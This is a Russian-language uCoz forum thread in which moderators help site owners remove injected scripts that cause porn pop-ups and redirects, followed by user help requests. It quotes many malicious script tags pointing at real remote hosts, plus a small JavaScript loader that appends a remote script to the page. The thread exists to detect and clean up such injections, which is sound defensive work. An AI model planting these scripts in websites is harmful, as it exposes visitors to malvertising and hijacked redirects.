Модератор форума: Yuri_G  
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Если на вашем сайте появились порнобаннеры (порнобаннеры, всплывающая реклама, окна или переброс)
Если на вашем сайте появились порнобаннеры
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1 | 15:57:08 01 Окт 2013
Если на вашем сайте постоянные перебросы на другие сайты или появляется куча всплывающих рекламных баннеров, порнобаннеров, то вы должны проверить код страниц на наличие следующих скриптов:

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/hvuz2754blb414j/niucee.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/eipt4uu8dbovggv/niuggcee.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/1ca1t7akhf87zrc/flashsiteru.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/af6arwcjnknnb15/menu.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/ud3ne5xe8dcre8u/topbottom.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/kuejhhvopk6nw6z/mysql.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/g5zffknmr8da4tp/update.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4lgd2g170q96tq3/menu-v2.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4f9eakzpj17n2yw/shapka.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/tnwyduomjbcsxzm/opapo.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/207odofje1uzdl5/orororo.txt"></script>
<script language="JavaScript" src="http://gocash.ws/js/slider.php?id=51"></script>
<script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43"></script>
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/739tqn6t0d66blax8ijp5g164r61v4ut'></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/98vihkxfbix863weu7zv9wqxjxhbbdh'></script>
<script type="text/javascript" src="http://nativevat.hol.es/rases.txt"></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://tsingera.ru/5easame6c5z7eb11wv3tp0164r61v4ut'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/6mg4oc9iyoi50h5tcwiudp6yfoe9gnd5e53tyz991m51k05'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/9bg8m0fsumq6pg79dp5ikt8sy9lxik40i89gq7udb51xjt1'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/7s0qxmmi2365xqgf6si4b17klvgtdyvrm5ex2ij7pdg5jet'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8jqhrtj5gcy538xp6e6s7h8nepubdfejg5vjptg5p0eti11'></script>


Актуальные на данный момент и самые распространенные эти скрипты

Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://bobrilla.com/7h4p5qn4qhr8ee1ywr1nh01af3d31nbp'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://iqmasa.ru/6rzofz8uuc28ef8pehs6rx5nbidd8hra473w3yk0c1n9d39'></script>

Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://fasterdir.ru/8v0n2hh3me45jvyxrtdyc4164r61v4ut'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/739tqn6t0d66blax8ijp5g164r61v4ut'></script>


Код
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>


Код
<script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43"></script>


Код
<script language="JavaScript" src="http://gocash.ws/js/slider.php?id=51"></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://mobatori.com/6h3mo39hhqx8pibnjyshzo13skikuus5'></script>


Код
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8mi9nn0te6q68tjygr5vm573z85xk4lzw89gq7udb51xh8l'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://tsingera.ru/5easame6c5z7eb11wv3tp0164r61v4ut'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/6mg4oc9iyoi50h5tcwiudp6yfoe9gnd5e53tyz991m51k05'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/9bg8m0fsumq6pg79dp5ikt8sy9lxik40i89gq7udb51xjt1'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/7s0qxmmi2365xqgf6si4b17klvgtdyvrm5ex2ij7pdg5jet'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8jqhrtj5gcy538xp6e6s7h8nepubdfejg5vjptg5p0eti11'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://chicop.ru/68sb0mshp9b78t1epj44r8zi8bjocb9'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://mobmas.ru/s/948'></script>


Код

<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://knjjiiyqj.about-home.info' + '/?818010=LmcuKHw4NjU5MTM-KWdrbm5oaG0';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>
<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://knjjiiyqj.about-home.info' + '/?823389=KWApL3s_MTI-NjQ5LmBsaWlvb2U';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>



Как удалить:

1) Код как правило внедряется в шаблоны Страницы сайта. Модуль новости (все шаблоны) но могут быть варианты. Иногда код внедряется во все шаблоны сайта.
Прописывается в верхней части шаблона или в самом низу. Реже встречается в футере (глобальный блок Нижняя часть сайта)

2) Для удаления нужно воспользоваться функцией Быстрой замены. Для этого надо пройти в панель управления - Дизайн - Управление дизайном - Быстрая замена - В поле "Что заменить" вставляете скрипт (даже если внедрено много скриптов лучше удалять по одному) - Поле на что изменить оставляете пустым и производите замену во всех действующих модулях
Если скриптов много внедрено, можно попробовать многострочную замену по той же схеме
3) После очистки сайта от внедренного кода нужно обязательно сменить пароль uID профиля, которым администрируете сайт. Инструкция по изменению пароля находится тут //forum.ucoz.ru/forum/45-52299-1
4) Если после изменения uID пароля на новый сложный у вас снова и снова возникает проблема внедрения чужеродного кода, то выполните следующие инструкции:
1) создайте нового пользователя в панели управления сайтом: задайте ему Логин и сложнейший пароль
2) дайте созданному пользователю права администратора, а у бывшего uID профиля, которым администрировали сайт заберите права и переведите его в низшую группу
3) в общих настройках сайта поставьте старый Вид кнопки uID авторизации и далее администрируйте сайт локально
5) Если локальный способ администрирования для вас не подходит, то создайте в системе ещё один uID профиль, на котором не будет сайтов и прав управления ни одним из сайтов. И новый созданный профиль используйте для авторизации на сайтах системы uCoz с uID авторизацией. А uID профилем, которым вы администрируете сайт или сайты заходите только к себе на сайты и более никуда. И поставьте на uID пароль администратора сайта сложнейший пароль!
6) Заберите права доступа к админ бару другим администраторам и модераторам вашего сайта. не пускайте никого в панель управления сайтом
7) Будьте внимательны к письмам, которые приходят на вашу почту. Часто мошенники имитируют письма от вебсервиса uCoz, в которых просят вас пройти или верификацию или пройти по ссылкам, также просят ввод ваших данных (вебтоп пароль и пароль uID профиля или секретный вопрос и ответ). Если вы сомневаетесь в письме, которое вам пришло от имени сервиса, вы можете всегда спросить или на форуме в этой теме //forum.ucoz.ru/forum/45-46950-1 или перешлите его сразу на адрес abuse@ucoz.ru
Будьте всегда бдительны и следите за темой //forum.ucoz.ru/forum/45-35739-1


Если вы вообще ничего не поняли, но проблема появления всплывающих порнобаннеров и переброски на чужие сайты с вашего у вас существует, то при обращении в эту тему вы должны дать ссылку на свой сайт, дать ссылку на сайт куда перебрасывает (если есть переброс), а так же указать происходит это под логином или под гостем
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 196 | 12:45:40 18 Июн 2014
Конь, ищите проблему в своей несметной рекламе
тизернет
директ
реклик
бегун

ну и конечно же

Код
<script type="text/javascript">
robotext_partner = 230557;
robotext_showfoto = 0;
robotext_adcount = 2;
robotext_blocktype = 0;
robotext_foncolor = 'transparent';
robotext_subjcolor = '0000FF';
robotext_textcolor = '333333';
robotext_linkcolor = '009900';
robotext_compact = 'no';
document.write('<sc'+'ript type="text/javascript" src="http://js.robotext.info/context.js"></sc'+'ript>');
</script>


последний скрипт удалить с помощью быстрой замены

если ваш сайт для детей, то это очень печально
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Конь
Сообщений: 32
Репутация: 5

Сообщение # 197 | 14:08:58 18 Июн 2014
webanet, вы правы! Спасибо!
действительно, я забыл убрать скрипт "robotext" из модулей... из шаблона страниц убрал, а вот из других шаблонов забыл.
а реклама - двигатель прогресса smile
Старый конь ничего не испортит.
zhanchik2009
Сообщений: 8
Репутация: 0

Сообщение # 198 | 18:00:33 21 Июн 2014
Доброго времени суток! Прошу помочь новичку. Создан сайт http://wear.3dn.ru/ При входе на него гостя появляется всплывающее окно с рекламой которое после закрытия вновь открывается на пол экрана при просмотре страниц сайта. Прочитала форум про очистку шаблонов, просмотрела, нашлось пара скриптов, я эти строки удалила, поменяла пароли. Но опять появляется. На моем компе стоит адгвард, он при входе на сайт гостем блокирует каждый раз вот этот сайт cdn3.jump-wap.com. А когда я авторизовывалась через uID у меня всплыло окно браузера с адресом http://cdn.displayincloud.com/adverti....7475-14. Помогите, что сделать сейчас по проблеме? Пытаюсь через быструю замену вводить указанные скрипты, но мне пишут что ничего не нашлось с таким кодом..
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 199 | 18:12:23 21 Июн 2014
zhanchik2009, дайте скрин окна с рекламой, которое появляется
все остальное описание рекламного баннера юкоз
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
zhanchik2009
Сообщений: 8
Репутация: 0

Сообщение # 200 | 18:54:30 21 Июн 2014
Вот скрин. все окна просто не дают посмотреть сайт и клиент его закрывает. особенно если через планшет.
Прикрепления: 7883477.png (249.2 Kb)
zhanchik2009
Сообщений: 8
Репутация: 0

Сообщение # 201 | 18:58:07 21 Июн 2014
вот еще какие то окна появились слева и сверху, только пустые..
Прикрепления: 0050533.png (420.5 Kb)
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 202 | 19:07:10 21 Июн 2014
zhanchik2009, проверьте сайт в другом браузере. очень похоже на локальное заражение
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
zhanchik2009
Сообщений: 8
Репутация: 0

Сообщение # 203 | 19:49:17 21 Июн 2014
во всех браузерах откравала. куча окон(((( порно открывается в новых окнах. но кстати и в других сайтах появились рекламные окна. например на яндексе. Скажите, чтобы на сайте вообще не было никакой рекламы нигде, что нужно для этого, купить адрес ? или направьте где про это почитать на фашем ресурсе?
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 204 | 19:57:43 21 Июн 2014
zhanchik2009, у вас локальное заражение. надо лечить компьютер
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
zhanchik2009
Сообщений: 8
Репутация: 0

Сообщение # 205 | 20:12:22 21 Июн 2014
уже лечу) но все ответьте, если купить домен, будет ли (при отсутствии заражений) избавлен сайт от всплывающей рекламы , в т.ч. вашей?
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 206 | 20:15:52 21 Июн 2014
zhanchik2009, нет
ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
nukus
Сообщений: 17
Репутация: 0

Сообщение # 207 | 20:16:02 21 Июн 2014
Всем привет мой сайт nukussat.clan.su у меня проблема такой : при входе на сайт выходит реклама и на каждой странице он выходит, как убрать? заранее блогадарен
сondor
Сообщений: 4661
Репутация: 1528

Сообщение # 208 | 11:54:17 24 Июн 2014
nukus, удалите из шаблонов сайта следующий скрипт:

Код
<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://gldktpcw.most-people.info' + '/?723390=yoPKzJjc0tHd1dfazYOPh4iGiQ';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>


Также внимательно читайте самое первое сообщение данной темы.
nukus
Сообщений: 17
Репутация: 0

Сообщение # 209 | 14:41:28 24 Июн 2014
Цитата сondor ()
nukus, удалите из шаблонов сайта следующий скрипт: Не нашёл такого все проверил но такого не нашёл что делать? даже быстрая замена не помогло
Kibay
Сообщений: 7
Репутация: 0

Сообщение # 210 | 22:24:14 24 Июн 2014
Добрый вечер!

Сегодня вновь появилась проблема "левых баннеров".
Сообщение отредактировал Kibay - Четверг, 26 Июн 2014, 17:56:30
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Если на вашем сайте появились порнобаннеры (порнобаннеры, всплывающая реклама, окна или переброс)
Поиск: